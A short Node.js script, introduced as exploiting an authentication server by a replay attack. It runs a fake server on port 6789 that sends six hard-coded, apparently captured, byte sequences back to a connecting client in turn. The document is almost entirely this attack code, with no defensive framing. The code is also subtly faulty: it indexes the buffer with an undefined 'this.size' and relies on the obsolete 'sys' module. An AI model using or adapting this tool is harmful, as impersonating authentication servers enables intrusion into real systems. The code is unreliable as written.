This exploits an authentication server using a replay attack

pseudo-server.js

var net = require("net"), sys = require('sys');
  
var server = net.createServer(function (stream) {
    stream.setEncoding('utf8');
    stream.on('connect', function () {
        console.log('Welcome to pseudo authentication server ;-)');
        sys.puts(sys.inspect(stream, false));
    });

    var phase = 0;
    stream.on('data', function (data) {
        console.log(data);
        var m1 = [
            0x45, 0x00, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x6E, 0x8C, 0xDB, 0x02, 0xCE, 0x4D, 0x05,
            0x30, 0xD9, 0x68, 0xF1, 0xB7, 0x29, 0xA4, 0xF6, 0x63, 0x78, 0x84, 0x0F, 0x67, 0x71, 0x22, 0x2C,
            0x9D, 0xBA, 0x69, 0x61, 0xDC, 0xC2, 0x5A, 0xD9, 0x71, 0xD9, 0xFF, 0x36, 0x29, 0x98, 0xBD, 0x7C,
            0xA7, 0x2D, 0x77, 0x2D, 0x18, 0xA7, 0xC5, 0xD6, 0x62, 0xBF, 0xB6, 0x46, 0x2A, 0x5D, 0xD1, 0xD1,
            0x2E, 0x59, 0x94, 0x97, 0x17, 0x9C, 0x1A, 0x94, 0x67];
        var m2 = [
            0x25, 0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x00, 0x00, 0x4E, 0xA0, 0x16, 0x42, 0x98, 0x3E, 0x33,
            0xD9, 0xE0, 0xE2, 0x75, 0x34, 0xE8, 0xCC, 0x7C, 0xC7, 0x30, 0xF1, 0x00, 0xAD, 0x51, 0xA1, 0x74,
            0x31, 0x8C, 0xE1, 0xB0, 0x46, 0x70, 0x46, 0x53, 0x82];
        var m3 = [0x11, 0x00, 0x00, 0x00, 0x05, 0xF5, 0x3D, 0xF5, 0x38, 0x18, 0xA4, 0x64, 0xDB, 0x97, 0x82,
            0x8E, 0xA2, 0x12, 0x33, 0xCC, 0xFB];
        var m4 = [
            0x11, 0x02, 0x00, 0x00, 0x05, 0xD9, 0x30, 0xD7, 0xED, 0xB9, 0xB1, 0x8E, 0x7E, 0x3C, 0xA6, 0x1C, 
            0x83, 0xD7, 0x50, 0xC6, 0x8C, 0x48, 0xE4, 0x7C, 0x5B, 0xDC, 0x38, 0x4E, 0x88, 0x25, 0xFB, 0x9A,
            0x3A, 0x6A, 0xF0, 0xF4, 0x59, 0xBD, 0xF4, 0xF4, 0x36, 0x03, 0x87, 0x6C, 0x23, 0xA9, 0x60, 0x8E,
            0x87, 0xC7, 0xBD, 0x17, 0xD1, 0x1B, 0x3F, 0xEA, 0xE0, 0x5C, 0x89, 0x32, 0x03, 0xA6, 0xDF, 0x8F,
            0xBA, 0x5C, 0x22, 0xD6, 0x91, 0xFB, 0xCB, 0xEA, 0x66, 0x0D, 0xD9, 0xB5, 0xE0, 0x59, 0x69, 0xAC,
            0xF0, 0xBD, 0xCC, 0x14, 0x9C, 0x23, 0x7E, 0xE3, 0xC2, 0x8D, 0xDA, 0x90, 0x40, 0xA1, 0x5C, 0xEC,
            0x94, 0x67, 0x39, 0xD1, 0x46, 0x17, 0x52, 0x0A, 0xFF, 0x8A, 0xE1, 0x9E, 0x60, 0xCA, 0xF9, 0x3B,
            0x69, 0x6B, 0xBF, 0xC0, 0x9C, 0x35, 0xD4, 0x49, 0x55, 0x74, 0x88, 0x7D, 0x5E, 0x49, 0x9A, 0x71,
            0xC3, 0x33, 0x77, 0x50, 0x89, 0xCC, 0x35, 0x2C, 0xAC, 0x99, 0x50, 0x57, 0xFD, 0x66, 0x8F, 0x2B,
            0xA2, 0x0C, 0x1F, 0x93, 0x54, 0xAA, 0xE1, 0xC1, 0xC5, 0xD9, 0x6A, 0x8B, 0x7E, 0x1B, 0xC7, 0x48,
            0x09, 0x85, 0xE7, 0x1E, 0xFB, 0x6F, 0x33, 0x6B, 0xAB, 0x24, 0x66, 0x00, 0x31, 0x48, 0x26, 0x68,
            0x32, 0x2A, 0x85, 0x4E, 0xC6, 0x49, 0xF1, 0x65, 0xFA, 0xCD, 0x32, 0xF1, 0x0D, 0x5C, 0x8E, 0xBA,
            0xA0, 0x49, 0xA2, 0xFD, 0x22, 0xBB, 0x9A, 0xCA, 0x39, 0x34, 0xE4, 0x88, 0xBF, 0x16, 0x46, 0x60,
            0x64, 0xBC, 0x44, 0x4F, 0xEE, 0xEC, 0x9F, 0x74, 0x93, 0xB5, 0x62, 0xAF, 0x88, 0x49, 0x81, 0x6D,
            0x60, 0xF3, 0x7F, 0xA9, 0x97, 0x7A, 0xC4, 0x1E, 0x63, 0x23, 0x63, 0x04, 0x8E, 0xF7, 0x7C, 0xFA,
            0x16, 0x90, 0x81, 0xB2, 0x7B, 0x25, 0x8A, 0xF7, 0x61, 0x40, 0xC0, 0xC0, 0xDA, 0xF0, 0xD3, 0x67,
            0xF1, 0xF0, 0x1E, 0xC5, 0xEE, 0xC7, 0x40, 0x95, 0xD2, 0x4D, 0xBE, 0x79, 0xBF, 0xF7, 0x4E, 0x13,
            0x4B, 0x47, 0xA1, 0xCB, 0x2B, 0x46, 0x71, 0x61, 0x2E, 0x77, 0xD4, 0xD6, 0x21, 0x94, 0x2C, 0xA0,
            0x85, 0x79, 0xB5, 0x31, 0x0C, 0x75, 0x0F, 0xB7, 0xA1, 0x99, 0x61, 0xE5, 0x73, 0xA0, 0xA1, 0x73,
            0xDD, 0xBC, 0x09, 0x30, 0x82, 0x87, 0xF1, 0x26, 0x21, 0x63, 0x4C, 0xFD, 0x50, 0xBF, 0xA5, 0x27,
            0xCE, 0xFC, 0x83, 0x3B, 0x9A, 0x65, 0x42, 0xD7, 0xA7, 0xA4, 0x7D, 0xCF, 0x3C, 0x6D, 0xA8, 0x67,
            0x1D, 0x77, 0x9D, 0x06, 0xDC, 0xF4, 0x67, 0xC1, 0xB6, 0xC8, 0x17, 0x48, 0xF1, 0x6E, 0x8F, 0x0F,
            0x3D, 0xD0, 0x36, 0x5E, 0xE3, 0x09, 0x1E, 0xB6, 0xEA, 0x51, 0xE7, 0x55, 0x0A, 0x30, 0xFF, 0x08,
            0x74, 0x8D, 0x01, 0x01, 0xBB, 0x73, 0x5A, 0x5C, 0x99, 0x57, 0x96, 0x27, 0x4C, 0x7C, 0x67, 0xBE,
            0xBA, 0x45, 0x73, 0x6D, 0x87, 0x75, 0x3F, 0xBF, 0x75, 0xDB, 0xA5, 0x49, 0x6A, 0x1B, 0x8D, 0x7F,
            0xB1, 0x69, 0xBB, 0x9E, 0x51, 0xC0, 0xBE, 0xC5, 0x3C, 0x55, 0x4D, 0x6C, 0xB7, 0x9B, 0x93, 0xC7,
            0x54, 0x67, 0x8C, 0x02, 0x6A, 0x7D, 0x0C, 0x70, 0xFC, 0x63, 0xB1, 0x02, 0xA2, 0x4E, 0x1E, 0x46,
            0x24, 0x0A, 0x76, 0x4C, 0x7C, 0xCC, 0x3B, 0x7B, 0x75, 0x97, 0x60, 0xF5, 0xC6, 0xEF, 0x8A, 0x11,
            0x24, 0x33, 0xF4, 0x45, 0x58, 0x28, 0x99, 0xC5, 0x8C, 0xC9, 0x5E, 0x8F, 0xEA, 0x9C, 0x69, 0x93,
            0x8A, 0x39, 0x61, 0xD0, 0x0C, 0x58, 0x25, 0xDD, 0x85, 0x5C, 0xD3, 0x0D, 0x94, 0x92, 0x0C, 0xE7,
            0x15, 0x75, 0x30, 0xAF, 0x3C, 0xE3, 0x88, 0xB8, 0xBD, 0x46, 0xE6, 0x1D, 0x5B, 0xB7, 0xD8, 0x3B,
            0x33, 0x90, 0xBC, 0x22, 0x6C, 0x79, 0xB7, 0x48, 0xC5, 0xD7, 0x2A, 0x85, 0x84, 0x04, 0x36, 0x10,
            0x24, 0x07, 0x33, 0x95, 0xE3, 0xF9, 0x4B, 0x7E, 0x1A, 0x54, 0x3B, 0x35, 0x20, 0x75, 0xCC, 0x31,
            0xDB, 0xB0, 0xF0, 0x27, 0x31];
        var m5 = [
            0x11, 0x00, 0x00, 0x00, 0x05, 0xFE, 0x67, 0xAC, 0x62, 0x39, 0xA0, 0xD2, 0xE3, 0x6F, 0x6C, 0xDF,
            0x52, 0x15, 0x07, 0x38, 0x5B];
        var m6 = [
            0x21, 0x00, 0x00, 0x00, 0x05, 0x6E, 0x01, 0x0F, 0x7D, 0x7A, 0xBB, 0x98, 0x29, 0x98, 0x85, 0x62,
            0xF4, 0xA0, 0x14, 0x49, 0x1B, 0xE5, 0x93, 0xF1, 0x99, 0x7C, 0x0A, 0x1D, 0xBB, 0x00, 0x93, 0x96,
            0x43, 0x09, 0x0B, 0xE0, 0xCA];

        var m = [m1, m2, m3, m4, m5, m6];
        var buffer = Buffer(1024);
        var message = m[phase];
        var size = 0;
        for (var i = 0; i < message.length; i++) {
            buffer[this.size] = message[i];
            size++;
        }
        stream.write(buffer.toString('ascii', 0, size));
        phase++;
    });

    stream.on('end', function () {
        stream.end();
    });
});

server.listen(6789);

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